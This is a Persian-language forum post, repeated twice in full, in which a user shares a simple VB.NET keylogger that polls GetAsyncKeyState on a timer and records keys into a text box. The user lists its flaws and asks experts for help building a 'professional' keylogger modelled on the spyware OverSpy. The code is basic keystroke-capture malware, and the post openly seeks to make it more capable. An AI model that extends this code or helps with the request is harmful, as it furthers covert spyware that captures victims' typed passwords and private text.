arash020
سه شنبه 09 خرداد 1391, 11:15 صبح
سلام
این کد ساده یه keyloger هستش که اشکال(کمبود) زیاد داره.
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
Tk.Text = Tk.Text + Chr(i)
End If
Next i
End Sub
مثلا اینکه به جای کلید های قسمتن نام لوک حروف مینویسه!!!
enter رو تشخیص نمیده!!!
کلیک ماوس رو هم یه کلید میدونه و مقداری بهش اختصاص میده!!!
و خیلی چیزای دیگ ه . . .
می خواستم اگه امکان داره از اساتید خواهش کنم منو راهنمایی کنن
تا یه keyloger حرفه ای بنویسم
برای مثال برنامه overspy رو درنظر بگیرید ...
ممنون میشم پست حذف نشه و کمکم کنید .
مرسی
این کد ساده یه keyloger هستش که اشکال(کمبود) زیاد داره.
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
Tk.Text = Tk.Text + Chr(i)
End If
Next i
End Sub
مثلا اینکه به جای کلید های قسمتن نام لوک حروف مینویسه!!!
enter رو تشخیص نمیده!!!
کلیک ماوس رو هم یه کلید میدونه و مقداری بهش اختصاص میده!!!
و خیلی چیزای دیگ ه . . .
می خواستم اگه امکان داره از اساتید خواهش کنم منو راهنمایی کنن
تا یه keyloger حرفه ای بنویسم
برای مثال برنامه overspy رو درنظر بگیرید ...
ممنون میشم پست حذف نشه و کمکم کنید .
مرسی